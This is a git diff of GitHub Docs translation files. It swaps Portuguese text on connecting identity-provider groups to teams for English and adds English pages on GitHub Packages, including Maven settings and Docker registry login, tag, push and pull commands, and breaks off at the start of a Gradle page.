want to connect to this team. If you don't have this access to your identity provider, you can reach out to your IdP administrator. -Você deve efetuar a autenticação usando SAML SSO. Para obter mais informações, consulte "[Autenticar com logon único de SAML](/articles/authenticating-with-saml-single-sign-on)". +You must authenticate using SAML SSO. For more information, see "[Authenticating with SAML single sign-on](/articles/authenticating-with-saml-single-sign-on)." {% elsif ghae %} -Antes de conectar uma equipe de {% data variables.product.product_name %} a um grupo de IdP, primeiro você deve configurar o provisionamento de usuários para {% data variables.product.product_location %} usando um Sistema suportado para Gerenciamento de Identidade entre Domínios (SCIM). Para obter mais informações, consulte "[Configurar provisionamento do usuário para sua empresa](/admin/authentication/configuring-user-provisioning-for-your-enterprise)". +Before you can connect a {% data variables.product.product_name %} team with an IdP group, you must first configure user provisioning for {% data variables.product.product_location %} using a supported System for Cross-domain Identity Management (SCIM). For more information, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise)." -Quando o provisionamento de {% data variables.product.product_name %} for configurado usando o SCIM, você poderá atribuir o aplicativo de {% data variables.product.product_name %} a cada grupo de IdP que você deseja usar em {% data variables.product.product_name %}. Para obter mais informações, consulte [Configurar o provisionamento automático do usuário no GitHub AE](https://docs.microsoft.com/en-us/azure/active-directory/saas-apps/github-ae-provisioning-tutorial#step-5-configure-automatic-user-provisioning-to-github-ae) na documentação da Microsoft. +Once user provisioning for {% data variables.product.product_name %} is configured using SCIM, you can assign the {% data variables.product.product_name %} application to every IdP group that you want to use on {% data variables.product.product_name %}. For more information, see [Configure automatic user provisioning to GitHub AE](https://docs.microsoft.com/en-us/azure/active-directory/saas-apps/github-ae-provisioning-tutorial#step-5-configure-automatic-user-provisioning-to-github-ae) in the Microsoft Docs. {% endif %} -## Conectar um grupo de IdP a uma equipe +## Connecting an IdP group to a team -Ao conectar um grupo de IdP a uma equipe de {% data variables.product.product_name %}, todos os usuários do grupo serão automaticamente adicionados à equipe. {% ifversion ghae %}Todos os usuários que não eram integrantes dos da organização principal também serão adicionados à organização.{% endif %} +When you connect an IdP group to a {% data variables.product.product_name %} team, all users in the group are automatically added to the team. {% ifversion ghae %}Any users who were not already members of the parent organization members are also added to the organization.{% endif %} {% data reusables.profile.access_org %} {% data reusables.user_settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_settings %} {% ifversion fpt or ghec %} -6. Em "Grupos de provedores de identidade", use o menu suspenso e selecione até 5 grupos de provedores de identidade. ![Drop-down menu to choose identity provider groups](/assets/images/help/teams/choose-an-idp-group.png){% elsif ghae %} -6. No "Grupo de Provedores de Identidade", use o menu suspenso e selecione um grupo de provedores de identidade na lista. ![Drop-down menu to choose identity provider group](/assets/images/enterprise/github-ae/teams/choose-an-idp-group.png){% endif %} -7. Clique em **Save changes** (Salvar alterações). +6. Under "Identity Provider Groups", use the drop-down menu, and select up to 5 identity provider groups. + ![Drop-down menu to choose identity provider groups](/assets/images/help/teams/choose-an-idp-group.png){% elsif ghae %} +6. Under "Identity Provider Group", use the drop-down menu, and select an identity provider group from the list. + ![Drop-down menu to choose identity provider group](/assets/images/enterprise/github-ae/teams/choose-an-idp-group.png){% endif %} +7. Click **Save changes**. -## Desconectar um grupo de IdP de uma equipe +## Disconnecting an IdP group from a team -Se desconectar um grupo de IdP de uma equipe do {% data variables.product.prodname_dotcom %}, os integrantes da equipe atribuídos à equipe do {% data variables.product.prodname_dotcom %} por meio do grupo de IdP serão removidos da equipe. {% ifversion ghae %} Todos os usuários que eram integrantes da organização principal apenas por causa da conexão com a equipe também serão removidos da organização.{% endif %} +If you disconnect an IdP group from a {% data variables.product.prodname_dotcom %} team, team members that were assigned to the {% data variables.product.prodname_dotcom %} team through the IdP group will be removed from the team. {% ifversion ghae %} Any users who were members of the parent organization only because of that team connection are also removed from the organization.{% endif %} {% data reusables.profile.access_org %} {% data reusables.user_settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_settings %} {% ifversion fpt or ghec %} -6. Em "Grupos de provedores de identidade", à direita do grupo de IdP que você deseja desconectar, clique em {% octicon "x" aria-label="X symbol" %}. ![Unselect a connected IdP group from the GitHub team](/assets/images/help/teams/unselect-idp-group.png){% elsif ghae %} -6. Em "Grupo de Provedores de Identidade", à direita do grupo de IdP que você deseja desconectar, clique em {% octicon "x" aria-label="X symbol" %}. ![Unselect a connected IdP group from the GitHub team](/assets/images/enterprise/github-ae/teams/unselect-idp-group.png){% endif %} -7. Clique em **Save changes** (Salvar alterações). +6. Under "Identity Provider Groups", to the right of the IdP group you want to disconnect, click {% octicon "x" aria-label="X symbol" %}. + ![Unselect a connected IdP group from the GitHub team](/assets/images/help/teams/unselect-idp-group.png){% elsif ghae %} +6. Under "Identity Provider Group", to the right of the IdP group you want to disconnect, click {% octicon "x" aria-label="X symbol" %}. + ![Unselect a connected IdP group from the GitHub team](/assets/images/enterprise/github-ae/teams/unselect-idp-group.png){% endif %} +7. Click **Save changes**. diff --git a/translations/pt-BR/content/packages/learn-github-packages/introduction-to-github-packages.md b/translations/pt-BR/content/packages/learn-github-packages/introduction-to-github-packages.md new file mode 100644 index 0000000000..63268fe2a2 --- /dev/null +++ b/translations/pt-BR/content/packages/learn-github-packages/introduction-to-github-packages.md @@ -0,0 +1,133 @@ +--- +title: Introduction to GitHub Packages +intro: '{% data variables.product.prodname_registry %} is a software package hosting service that allows you to host your software packages privately {% ifversion ghae %} for specified users or internally for your enterprise{% else %}or publicly{% endif %} and use packages as dependencies in your projects.' +product: '{% data reusables.gated-features.packages %}' +redirect_from: + - /articles/about-github-package-registry + - /github/managing-packages-with-github-package-registry/about-github-package-registry + - /github/managing-packages-with-github-packages/about-github-packages + - /packages/publishing-and-managing-packages/about-github-packages + - /packages/learn-github-packages/about-github-packages + - /packages/learn-github-packages/core-concepts-for-github-packages + - /packages/guides/about-github-container-registry +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Introduction +--- + +{% data reusables.package_registry.packages-ghes-release-stage %} +{% data reusables.package_registry.packages-ghae-release-stage %} + +## About {% data variables.product.prodname_registry %} + +{% data variables.product.prodname_registry %} is a platform for hosting and managing packages, including containers and other dependencies. {% data variables.product.prodname_registry %} combines your source code and packages in one place to provide integrated permissions management{% ifversion not ghae %} and billing{% endif %}, so you can centralize your software development on {% data variables.product.product_name %}. + +You can integrate {% data variables.product.prodname_registry %} with {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} APIs, {% data variables.product.prodname_actions %}, and webhooks to create an end-to-end DevOps workflow that includes your code, CI, and deployment solutions. + +{% data variables.product.prodname_registry %} offers different package registries for commonly used package managers, such as npm, RubyGems, Apache Maven, Gradle, Docker, and NuGet. {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}'s {% data variables.product.prodname_container_registry %} is optimized for containers and supports Docker and OCI images.{% endif %} For more information on the different package registries that {% data variables.product.prodname_registry %} supports, see "[Working with a {% data variables.product.prodname_registry %} registry](/packages/working-with-a-github-packages-registry)." + +{% ifversion fpt or ghec %} + +![Diagram showing packages support for the Container registry, RubyGems, npm, Apache Maven, NuGet, and Gradle](/assets/images/help/package-registry/packages-diagram-with-container-registry.png) + +{% else %} + +![Diagram showing packages support for the Docker registry, RubyGems, npm, Apache Maven, Gradle, NuGet, and Docker](/assets/images/help/package-registry/packages-diagram-without-container-registry.png) + +{% endif %} + +You can view a package's README, as well as metadata such as licensing, download statistics, version history, and more on {% data variables.product.product_name %}. For more information, see "[Viewing packages](/packages/manage-packages/viewing-packages)." + +### Overview of package permissions and visibility + +| | | +|--------------------|--------------------| +| Permissions | {% ifversion fpt or ghec %}The permissions for a package are either inherited from the repository where the package is hosted or, for packages in the {% data variables.product.prodname_container_registry %}, they can be defined for specific user or organization accounts. For more information, see "[Configuring a package’s access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)." {% else %}Each package inherits the permissions of the repository where the package is hosted.

                    For example, anyone with read permissions for a repository can install a package as a dependency in a project, and anyone with write permissions can publish a new package version.{% endif %} | +| Visibility | {% data reusables.package_registry.public-or-private-packages %} | + +For more information, see "[About permissions for {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages)." + +{% ifversion fpt or ghec %} +## About billing for {% data variables.product.prodname_registry %} + +{% data reusables.package_registry.packages-billing %} {% data reusables.package_registry.packages-spending-limit-brief %} For more information, see "[About billing for {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/about-billing-for-github-packages)." + +{% endif %} + +## Supported clients and formats + + +{% data variables.product.prodname_registry %} uses the native package tooling commands you're already familiar with to publish and install package versions. +### Support for package registries + +| Language | Description | Package format | Package client | +| --- | --- | --- | --- | +| JavaScript | Node package manager | `package.json` | `npm` | +| Ruby | RubyGems package manager | `Gemfile` | `gem` | +| Java | Apache Maven project management and comprehension tool | `pom.xml` | `mvn` | +| Java | Gradle build automation tool for Java | `build.gradle` or `build.gradle.kts` | `gradle` | +| .NET | NuGet package management for .NET | `nupkg` | `dotnet` CLI | +| N/A | Docker container management | `Dockerfile` | `Docker` | + +{% ifversion ghes %} +{% note %} + +**Note:** Docker is not supported when subdomain isolation is disabled. + +{% endnote %} + +For more information about subdomain isolation, see "[Enabling subdomain isolation](/enterprise/admin/configuration/enabling-subdomain-isolation)." + +{% endif %} + +For more information about configuring your package client for use with {% data variables.product.prodname_registry %}, see "[Working with a {% data variables.product.prodname_registry %} registry](/packages/working-with-a-github-packages-registry)." + +{% ifversion fpt or ghec %} +For more information about Docker and the {% data variables.product.prodname_container_registry %}, see "[Working with the Container registry](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)." +{% endif %} +## Authenticating to {% data variables.product.prodname_registry %} + +{% data reusables.package_registry.authenticate-packages %} + +{% data reusables.package_registry.authenticate-packages-github-token %} + +## Managing packages + +{% ifversion fpt or ghec %} +You can delete a package in the {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} user interface or using the REST API. For more information, see the "[{% data variables.product.prodname_registry %} API](/rest/reference/packages)." +{% endif %} + +{% ifversion ghes > 3.0 %} +You can delete a private or public package in the {% data variables.product.product_name %} user interface. Or for repo-scoped packages, you can delete a version of a private package using GraphQL. +{% endif %} + +{% ifversion ghes < 3.1 %} +You can delete a version of a private package in the {% data variables.product.product_name %} user interface or using the GraphQL API. +{% endif %} + +{% ifversion ghae %} +You can delete a version of a package in the {% data variables.product.product_name %} user interface or using the GraphQL API. +{% endif %} + +When you use the GraphQL API to query and delete private packages, you must use the same token you use to authenticate to {% data variables.product.prodname_registry %}. For more information, see "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" and "[Forming calls with GraphQL]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/forming-calls-with-graphql)." + +You can configure webhooks to subscribe to package-related events, such as when a package is published or updated. For more information, see the "[`package` webhook event](/webhooks/event-payloads/#package)." + +## Contacting support + +{% ifversion fpt or ghec %} +If you have feedback or feature requests for {% data variables.product.prodname_registry %}, use the [feedback form for {% data variables.product.prodname_registry %}](https://support.github.com/contact/feedback?contact%5Bcategory%5D=github-packages). + +Contact {% data variables.contact.github_support %} about {% data variables.product.prodname_registry %} using [our contact form](https://support.github.com/contact?form%5Bsubject%5D=Re:%20GitHub%20Packages) if: + +* You experience anything that contradicts the documentation +* You encounter vague or unclear errors +* Your published package contains sensitive data, such as GDPR violations, API Keys, or personally identifying information + +{% else %} +If you need support for {% data variables.product.prodname_registry %}, please contact your site administrators. + +{% endif %} diff --git a/translations/pt-BR/content/packages/learn-github-packages/publishing-a-package.md b/translations/pt-BR/content/packages/learn-github-packages/publishing-a-package.md new file mode 100644 index 0000000000..d0f92d9ccb --- /dev/null +++ b/translations/pt-BR/content/packages/learn-github-packages/publishing-a-package.md @@ -0,0 +1,39 @@ +--- +title: Publishing a package +intro: 'You can publish a package to {% data variables.product.prodname_registry %} to make the package available for others to download and re-use.' +product: '{% data reusables.gated-features.packages %}' +redirect_from: + - /github/managing-packages-with-github-packages/publishing-a-package + - /packages/publishing-and-managing-packages/publishing-a-package +permissions: Anyone with write permissions for a repository can publish a package to that repository. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +--- + +{% data reusables.package_registry.packages-ghes-release-stage %} +{% data reusables.package_registry.packages-ghae-release-stage %} + +## About published packages + +You can help people understand and use your package by providing a description and other details like installation and usage instructions on the package page. {% data variables.product.product_name %} provides metadata for each version, such as the publication date, download activity, and recent versions. For an example package page, see [@Codertocat/hello-world-npm](https://github.com/Codertocat/hello-world-npm/packages/10696?version=1.0.1). + +{% data reusables.package_registry.public-or-private-packages %} A repository can be connected to more than one package. To prevent confusion, make sure the README and description clearly provide information about each package. + +{% ifversion fpt or ghec %} +If a new version of a package fixes a security vulnerability, you should publish a security advisory in your repository. {% data variables.product.prodname_dotcom %} reviews each published security advisory and may use it to send {% data variables.product.prodname_dependabot_alerts %} to affected repositories. For more information, see "[About GitHub Security Advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)." +{% endif %} + +## Publishing a package + +You can publish a package to {% data variables.product.prodname_registry %} using any {% ifversion fpt or ghae or ghec %}supported package client{% else %}package type enabled for your instance{% endif %} by following the same general guidelines. + +1. Create or use an existing access token with the appropriate scopes for the task you want to accomplish. For more information, see "[About permissions for {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages)." +2. Authenticate to {% data variables.product.prodname_registry %} using your access token and the instructions for your package client. +3. Publish the package using the instructions for your package client. + +For instructions specific to your package client, see "[Working with a GitHub Packages registry](/packages/working-with-a-github-packages-registry)." + +After you publish a package, you can view the package on {% data variables.product.prodname_dotcom %}. For more information, see "[Viewing packages](/packages/learn-github-packages/viewing-packages)." diff --git a/translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md b/translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md new file mode 100644 index 0000000000..a494c22c11 --- /dev/null +++ b/translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md @@ -0,0 +1,194 @@ +--- +title: Working with the Apache Maven registry +intro: 'You can configure Apache Maven to publish packages to {% data variables.product.prodname_registry %} and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in a Java project.' +product: '{% data reusables.gated-features.packages %}' +redirect_from: + - /articles/configuring-apache-maven-for-use-with-github-package-registry + - /github/managing-packages-with-github-package-registry/configuring-apache-maven-for-use-with-github-package-registry + - /github/managing-packages-with-github-packages/configuring-apache-maven-for-use-with-github-packages + - /packages/using-github-packages-with-your-projects-ecosystem/configuring-apache-maven-for-use-with-github-packages + - /packages/guides/configuring-apache-maven-for-use-with-github-packages +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Apache Maven registry +--- + +{% data reusables.package_registry.packages-ghes-release-stage %} +{% data reusables.package_registry.packages-ghae-release-stage %} + +{% data reusables.package_registry.admins-can-configure-package-types %} + +## Authenticating to {% data variables.product.prodname_registry %} + +{% data reusables.package_registry.authenticate-packages %} + +{% data reusables.package_registry.authenticate-packages-github-token %} + +### Authenticating with a personal access token + +{% data reusables.package_registry.required-scopes %} + +You can authenticate to {% data variables.product.prodname_registry %} with Apache Maven by editing your *~/.m2/settings.xml* file to include your personal access token. Create a new *~/.m2/settings.xml* file if one doesn't exist. + +In the `servers` tag, add a child `server` tag with an `id`, replacing *USERNAME* with your {% data variables.product.prodname_dotcom %} username, and *TOKEN* with your personal access token. + +In the `repositories` tag, configure a repository by mapping the `id` of the repository to the `id` you added in the `server` tag containing your credentials. Replace {% ifversion ghes or ghae %}*HOSTNAME* with the host name of {% data variables.product.product_location %}, and{% endif %} *OWNER* with the name of the user or organization account that owns the repository. Because uppercase letters aren't supported, you must use lowercase letters for the repository owner even if the {% data variables.product.prodname_dotcom %} user or organization name contains uppercase letters. + +If you want to interact with multiple repositories, you can add each repository to separate `repository` children in the `repositories` tag, mapping the `id` of each to the credentials in the `servers` tag. + +{% data reusables.package_registry.apache-maven-snapshot-versions-supported %} + +{% ifversion ghes %} +If your instance has subdomain isolation enabled: +{% endif %} + +```xml + + + + github + + + + + github + + + central + https://repo1.maven.org/maven2 + + + github + https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}maven.HOSTNAME{% endif %}/OWNER/REPOSITORY + + true + + + + + + + + + github + USERNAME + TOKEN + + + +``` + +{% ifversion ghes %} +If your instance has subdomain isolation disabled: + +```xml + + + + github + + + + + github + + + central + https://repo1.maven.org/maven2 + + + github + HOSTNAME/_registry/maven/OWNER/REPOSITORY + + true + + + + + + + + + github + USERNAME + TOKEN + + + +``` +{% endif %} + +## Publishing a package + +{% data reusables.package_registry.default-name %} For example, {% data variables.product.prodname_dotcom %} will publish a package named `com.example:test` in a repository called `OWNER/test`. + +If you would like to publish multiple packages to the same repository, you can include the URL of the repository in the `` element of the *pom.xml* file. {% data variables.product.prodname_dotcom %} will match the repository based on that field. Since the repository name is also part of the `distributionManagement` element, there are no additional steps to publish multiple packages to the same repository. + +For more information on creating a package, see the [maven.apache.org documentation](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html). + +1. Edit the `distributionManagement` element of the *pom.xml* file located in your package directory, replacing {% ifversion ghes or ghae %}*HOSTNAME* with the host name of {% data variables.product.product_location %}, {% endif %}`OWNER` with the name of the user or organization account that owns the repository and `REPOSITORY` with the name of the repository containing your project.{% ifversion ghes %} + + If your instance has subdomain isolation enabled:{% endif %} + ```xml + + + github + GitHub OWNER Apache Maven Packages + https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}maven.HOSTNAME{% endif %}/OWNER/REPOSITORY + + + ```{% ifversion ghes %} + If your instance has subdomain isolation disabled: + ```xml + + + github + GitHub OWNER Apache Maven Packages + https://HOSTNAME/_registry/maven/OWNER/REPOSITORY + + + ```{% endif %} +{% data reusables.package_registry.checksum-maven-plugin %} +1. Publish the package. + ```shell + $ mvn deploy + ``` + +{% data reusables.package_registry.viewing-packages %} + +## Installing a package + +To install an Apache Maven package from {% data variables.product.prodname_registry %}, edit the *pom.xml* file to include the package as a dependency. If you want to install packages from more than one repository, add a `repository` tag for each. For more information on using a *pom.xml* file in your project, see "[Introduction to the POM](https://maven.apache.org/guides/introduction/introduction-to-the-pom.html)" in the Apache Maven documentation. + +{% data reusables.package_registry.authenticate-step %} +2. Add the package dependencies to the `dependencies` element of your project *pom.xml* file, replacing `com.example:test` with your package. + + ```xml + + + com.example + test + 1.0.0-SNAPSHOT + + + ``` +{% data reusables.package_registry.checksum-maven-plugin %} +3. Install the package. + + ```shell + $ mvn install + ``` + +## Further reading + +- "[Working with the Gradle registry](/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry)" +- "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" diff --git a/translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md b/translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md new file mode 100644 index 0000000000..e27195ffd4 --- /dev/null +++ b/translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md @@ -0,0 +1,268 @@ +--- +title: Working with the Docker registry +intro: '{% ifversion fpt or ghec %}The Docker registry has now been replaced by the {% data variables.product.prodname_container_registry %}.{% else %}You can push and pull your Docker images using the {% data variables.product.prodname_registry %} Docker registry, which uses the package namespace `https://docker.pkg.github.com`.{% endif %}' +product: '{% data reusables.gated-features.packages %}' +redirect_from: + - /articles/configuring-docker-for-use-with-github-package-registry + - /github/managing-packages-with-github-package-registry/configuring-docker-for-use-with-github-package-registry + - /github/managing-packages-with-github-packages/configuring-docker-for-use-with-github-packages + - /packages/using-github-packages-with-your-projects-ecosystem/configuring-docker-for-use-with-github-packages + - /packages/guides/container-guides-for-github-packages/configuring-docker-for-use-with-github-packages + - /packages/guides/configuring-docker-for-use-with-github-packages +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Docker registry +--- + + +{% ifversion fpt or ghec %} + +{% data variables.product.prodname_dotcom %}'s Docker registry (which used the namespace `docker.pkg.github.com`) has been replaced by the {% data variables.product.prodname_container_registry %} (which uses the namespace `https://ghcr.io`). The {% data variables.product.prodname_container_registry %} offers benefits such as granular permissions and storage optimization for Docker images. + +Docker images previously stored in the Docker registry are being automatically migrated into the {% data variables.product.prodname_container_registry %}. For more information, see "[Migrating to the {% data variables.product.prodname_container_registry %} from the Docker registry](/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry)" and "[Working with the {% data variables.product.prodname_container_registry %}](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)." + +{% else %} + + +{% data reusables.package_registry.packages-ghes-release-stage %} +{% data reusables.package_registry.packages-ghae-release-stage %} + +{% data reusables.package_registry.admins-can-configure-package-types %} + +## About Docker support + +When installing or publishing a Docker image, the Docker registry does not currently support foreign layers, such as Windows images. + +## Authenticating to {% data variables.product.prodname_registry %} + +{% data reusables.package_registry.authenticate-packages %} + +{% data reusables.package_registry.authenticate-packages-github-token %} + +### Authenticating with a personal access token + +{% data reusables.package_registry.required-scopes %} + +You can authenticate to {% data variables.product.prodname_registry %} with Docker using the `docker` login command. + +To keep your credentials secure, we recommend you save your personal access token in a local file on your computer and use Docker's `--password-stdin` flag, which reads your token from a local file. + +{% ifversion fpt or ghec %} +{% raw %} + ```shell + $ cat ~/TOKEN.txt | docker login https://docker.pkg.github.com -u USERNAME --password-stdin + ``` +{% endraw %} +{% endif %} + +{% ifversion ghes or ghae %} +{% ifversion ghes %} +If your instance has subdomain isolation enabled: +{% endif %} +{% raw %} + ```shell + $ cat ~/TOKEN.txt | docker login docker.HOSTNAME -u USERNAME --password-stdin +``` +{% endraw %} +{% ifversion ghes %} +If your instance has subdomain isolation disabled: + +{% raw %} + ```shell + $ cat ~/TOKEN.txt | docker login HOSTNAME -u USERNAME --password-stdin +``` +{% endraw %} +{% endif %} + +{% endif %} + +To use this example login command, replace `USERNAME` with your {% data variables.product.product_name %} username{% ifversion ghes or ghae %}, `HOSTNAME` with the URL for {% data variables.product.product_location %},{% endif %} and `~/TOKEN.txt` with the file path to your personal access token for {% data variables.product.product_name %}. + +For more information, see "[Docker login](https://docs.docker.com/engine/reference/commandline/login/#provide-a-password-using-stdin)." + +## Publishing an image + +{% data reusables.package_registry.docker_registry_deprecation_status %} + +{% note %} + +**Note:** Image names must only use lowercase letters. + +{% endnote %} + +{% data variables.product.prodname_registry %} supports multiple top-level Docker images per repository. A repository can have any number of image tags. You may experience degraded service publishing or installing Docker images larger than 10GB, layers are capped at 5GB each. For more information, see "[Docker tag](https://docs.docker.com/engine/reference/commandline/tag/)" in the Docker documentation. + +{% data reusables.package_registry.viewing-packages %} + +1. Determine the image name and ID for your docker image using `docker images`. + ```shell + $ docker images + > < > + > REPOSITORY TAG IMAGE ID CREATED SIZE + > IMAGE_NAME VERSION IMAGE_ID 4 weeks ago 1.11MB + ``` +2. Using the Docker image ID, tag the docker image, replacing *OWNER* with the name of the user or organization account that owns the repository, *REPOSITORY* with the name of the repository containing your project, *IMAGE_NAME* with name of the package or image,{% ifversion ghes or ghae %} *HOSTNAME* with the hostname of {% data variables.product.product_location %},{% endif %} and *VERSION* with package version at build time. + {% ifversion fpt or ghec %} + ```shell + $ docker tag IMAGE_ID docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION + ``` + {% else %} + {% ifversion ghes %} + If your instance has subdomain isolation enabled: + {% endif %} + ```shell + $ docker tag IMAGE_ID docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION + ``` + {% ifversion ghes %} + If your instance has subdomain isolation disabled: + ```shell + $ docker tag IMAGE_ID HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION + ``` + {% endif %} + {% endif %} +3. If you haven't already built a docker image for the package, build the image, replacing *OWNER* with the name of the user or organization account that owns the repository, *REPOSITORY* with the name of the repository containing your project, *IMAGE_NAME* with name of the package or image, *VERSION* with package version at build time,{% ifversion ghes or ghae %} *HOSTNAME* with the hostname of {% data variables.product.product_location %},{% endif %} and *PATH* to the image if it isn't in the current working directory. + {% ifversion fpt or ghec %} + ```shell + $ docker build -t docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION PATH + ``` + {% else %} + {% ifversion ghes %} + If your instance has subdomain isolation enabled: + {% endif %} + ```shell + $ docker build -t docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION PATH + ``` + {% ifversion ghes %} + If your instance has subdomain isolation disabled: + ```shell + $ docker build -t HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION PATH + ``` + {% endif %} + {% endif %} +4. Publish the image to {% data variables.product.prodname_registry %}. + {% ifversion fpt or ghec %} + ```shell + $ docker push docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION + ``` + {% else %} + {% ifversion ghes %} + If your instance has subdomain isolation enabled: + {% endif %} + ```shell + $ docker push docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION + ``` + {% ifversion ghes %} + If your instance has subdomain isolation disabled: + ```shell + $ docker push HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION + ``` + {% endif %} + {% endif %} + {% note %} + + **Note:** You must push your image using `IMAGE_NAME:VERSION` and not using `IMAGE_NAME:SHA`. + + {% endnote %} + +### Example publishing a Docker image + +{% ifversion ghes %} +These examples assume your instance has subdomain isolation enabled. +{% endif %} + +You can publish version 1.0 of the `monalisa` image to the `octocat/octo-app` repository using an image ID. + +{% ifversion fpt or ghec %} +```shell +$ docker images + +> REPOSITORY TAG IMAGE ID CREATED SIZE +> monalisa 1.0 c75bebcdd211 4 weeks ago 1.11MB + +# Tag the image with OWNER/REPO/IMAGE_NAME +$ docker tag c75bebcdd211 docker.pkg.github.com/octocat/octo-app/monalisa:1.0 + +# Push the image to {% data variables.product.prodname_registry %} +$ docker push docker.pkg.github.com/octocat/octo-app/monalisa:1.0 +``` + +{% else %} + +```shell +$ docker images + +> REPOSITORY TAG IMAGE ID CREATED SIZE +> monalisa 1.0 c75bebcdd211 4 weeks ago 1.11MB + +# Tag the image with OWNER/REPO/IMAGE_NAME +$ docker tag c75bebcdd211 docker.HOSTNAME/octocat/octo-app/monalisa:1.0 + +# Push the image to {% data variables.product.prodname_registry %} +$ docker push docker.HOSTNAME/octocat/octo-app/monalisa:1.0 +``` + +{% endif %} + +You can publish a new Docker image for the first time and name it `monalisa`. + +{% ifversion fpt or ghec %} +```shell +# Build the image with docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION +# Assumes Dockerfile resides in the current working directory (.) +$ docker build -t docker.pkg.github.com/octocat/octo-app/monalisa:1.0 . + +# Push the image to {% data variables.product.prodname_registry %} +$ docker push docker.pkg.github.com/octocat/octo-app/monalisa:1.0 +``` + +{% else %} +```shell +# Build the image with docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION +# Assumes Dockerfile resides in the current working directory (.) +$ docker build -t docker.HOSTNAME/octocat/octo-app/monalisa:1.0 . + +# Push the image to {% data variables.product.prodname_registry %} +$ docker push docker.HOSTNAME/octocat/octo-app/monalisa:1.0 +``` +{% endif %} + +## Downloading an image + +{% data reusables.package_registry.docker_registry_deprecation_status %} + +You can use the `docker pull` command to install a docker image from {% data variables.product.prodname_registry %}, replacing *OWNER* with the name of the user or organization account that owns the repository, *REPOSITORY* with the name of the repository containing your project, *IMAGE_NAME* with name of the package or image,{% ifversion ghes or ghae %} *HOSTNAME* with the host name of {% data variables.product.product_location %}, {% endif %} and *TAG_NAME* with tag for the image you want to install. + +{% ifversion fpt or ghec %} +```shell +$ docker pull docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:TAG_NAME +``` +{% else %} + +{% ifversion ghes %} +If your instance has subdomain isolation enabled: +{% endif %} +```shell +$ docker pull docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:TAG_NAME +``` +{% ifversion ghes %} +If your instance has subdomain isolation disabled: +```shell +$ docker pull HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:TAG_NAME +``` +{% endif %} +{% endif %} + +{% note %} + +**Note:** You must pull the image using `IMAGE_NAME:VERSION` and not using `IMAGE_NAME:SHA`. + +{% endnote %} + +## Further reading + +- "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" + +{% endif %} diff --git a/translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md b/translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md new file mode 100644 index 0000000000..92f12983f8 --- /dev/null +++ b/translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md @@ -0,0 +1,219 @@ +--- +title: Working with the Gradle registry +intro: 'You can configure Gradle to publish packages to the {% data variables.product.prodname_registry %} Gradle registry and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in a Java project.' +product: '{% data reusables.gated-features.packages %}' +redirect_from: + - /articles/configuring-gradle-for-use-with-github-package-registry + - 